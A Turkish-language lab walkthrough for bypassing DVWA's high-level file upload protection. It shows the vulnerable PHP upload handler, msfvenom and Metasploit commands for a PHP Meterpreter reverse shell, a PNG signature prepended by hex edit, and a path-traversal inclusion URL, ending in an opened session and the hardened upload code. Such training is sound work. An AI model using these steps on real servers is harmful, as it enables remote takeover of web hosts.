• DVWA Tüm Dersler

• DVWA File Upload (Low Level)
• DVWA File Upload (Medium Level)
• DVWA File Upload (High Level)

Dersin Hedefi

Shell'e Karşı Önlem

<?php 

if( isset( $_POST[ 'Upload' ] ) ) { 
    // Where are we going to be writing to? 
    $target_path  = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/"; 
    $target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] ); 

    // File information 
    $uploaded_name = $_FILES[ 'uploaded' ][ 'name' ]; 
    $uploaded_ext  = substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1); 
    $uploaded_size = $_FILES[ 'uploaded' ][ 'size' ]; 
    $uploaded_tmp  = $_FILES[ 'uploaded' ][ 'tmp_name' ]; 

    // Is it an image? 
    if( ( strtolower( $uploaded_ext ) == "jpg" || strtolower( $uploaded_ext ) == "jpeg" || strtolower( $uploaded_ext ) == "png" ) &&
        ( $uploaded_size < 100000 ) && 
        getimagesize( $uploaded_tmp ) ) { 

        // Can we move the file to the upload folder? 
        if( !move_uploaded_file( $uploaded_tmp, $target_path ) ) { 
            // No 
            echo '
Your image was not uploaded.
'; 
        } 
        else { 
            // Yes! 
            echo "
{$target_path} succesfully uploaded!
"; 
        } 
    } 
    else { 
        // Invalid file 
        echo '
Your image was not uploaded. We can only accept JPEG or PNG images.
'; 
    } 
} 

?>

File Upload High Level Korumayı Atlatma

msfvenom -l payloads | grep php
msfvenom -p php/meterpreter/reverse_tcp lhost=KALI_IP_ADDRESS lport=4444 -f raw > exploit.php

msfconsole
msf6> use exploit/multi/handler
msf6 exploit(multi/handler) > set payload php/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set lhost KALI_IP_ADDRESS
msf6 exploit(multi/handler) > run

nano exploit.php

Kali Linux Terminal #2:

hexeditor exploit.php

(( En baştaki 8 boşluğa şu png dosya imzası

89 50 4E 47 0D 0A 1A 0A

girilir ))

Not:

Dosya imzaları hakkında ayrıntılı bilgi için bkz.

https://en.wikipedia.org/wiki/List_of_file_signatures

cp exploit.php exploit.png

http://DVWA_WEB_SERVER_IP/dvwa/vulnerabilities/fi/?page=../../hackable/uploads/exploit.png

Kali Linux Terminal #1:

msf6 exploit(multi/handler) > 

[*] Started reverse TCP handler on 192.168.56.134:4444 
[*] Sending stage (39282 bytes) to 192.168.56.136
[*] Meterpreter session 2 opened (192.168.56.134:4444 -> 192.168.56.136:58943 ) at 2025-03-20 02:41:20 +0300

meterpreter >

<?php

if( isset( $_POST[ 'Upload' ] ) ) {
    // Check Anti-CSRF token
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );


    // File information
    $uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
    $uploaded_ext  = substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1);
    $uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];
    $uploaded_type = $_FILES[ 'uploaded' ][ 'type' ];
    $uploaded_tmp  = $_FILES[ 'uploaded' ][ 'tmp_name' ];

    // Where are we going to be writing to?
    $target_path   = DVWA_WEB_PAGE_TO_ROOT . 'hackable/uploads/';
    //$target_file   = basename( $uploaded_name, '.' . $uploaded_ext ) . '-';
    $target_file   =  md5( uniqid() . $uploaded_name ) . '.' . $uploaded_ext;
    $temp_file     = ( ( ini_get( 'upload_tmp_dir' ) == '' ) ? ( sys_get_temp_dir() ) : ( ini_get( 'upload_tmp_dir' ) ) );
    $temp_file    .= DIRECTORY_SEPARATOR . md5( uniqid() . $uploaded_name ) . '.' . $uploaded_ext;

    // Is it an image?
    if( ( strtolower( $uploaded_ext ) == 'jpg' || strtolower( $uploaded_ext ) == 'jpeg' || strtolower( $uploaded_ext ) == 'png' ) &&
        ( $uploaded_size < 100000 ) &&
        ( $uploaded_type == 'image/jpeg' || $uploaded_type == 'image/png' ) &&
        getimagesize( $uploaded_tmp ) ) {

        // Strip any metadata, by re-encoding image (Note, using php-Imagick is recommended over php-GD)
        if( $uploaded_type == 'image/jpeg' ) {
            $img = imagecreatefromjpeg( $uploaded_tmp );
            imagejpeg( $img, $temp_file, 100);
        }
        else {
            $img = imagecreatefrompng( $uploaded_tmp );
            imagepng( $img, $temp_file, 9);
        }
        imagedestroy( $img );

        // Can we move the file to the web root from the temp folder?
        if( rename( $temp_file, ( getcwd() . DIRECTORY_SEPARATOR . $target_path . $target_file ) ) ) {
            // Yes!
            echo "<pre><a href='${target_path}${target_file}'>${target_file}</a> succesfully uploaded!</pre>";
        }
        else {
            // No
            echo '<pre>Your image was not uploaded.</pre>';
        }

        // Delete any temp files
        if( file_exists( $temp_file ) )
            unlink( $temp_file );
    }
    else {
        // Invalid file
        echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';
    }
}

// Generate Anti-CSRF token
generateSessionToken();

?> 

• https://en.wikipedia.org/wiki/List_of_file_signatures
• https://www.youtube.com/watch?v=K7XBQWAZdZ4&list=PLHUKi1UlEgOJLPSFZaFKMoexpM6qhOb4Q&index=6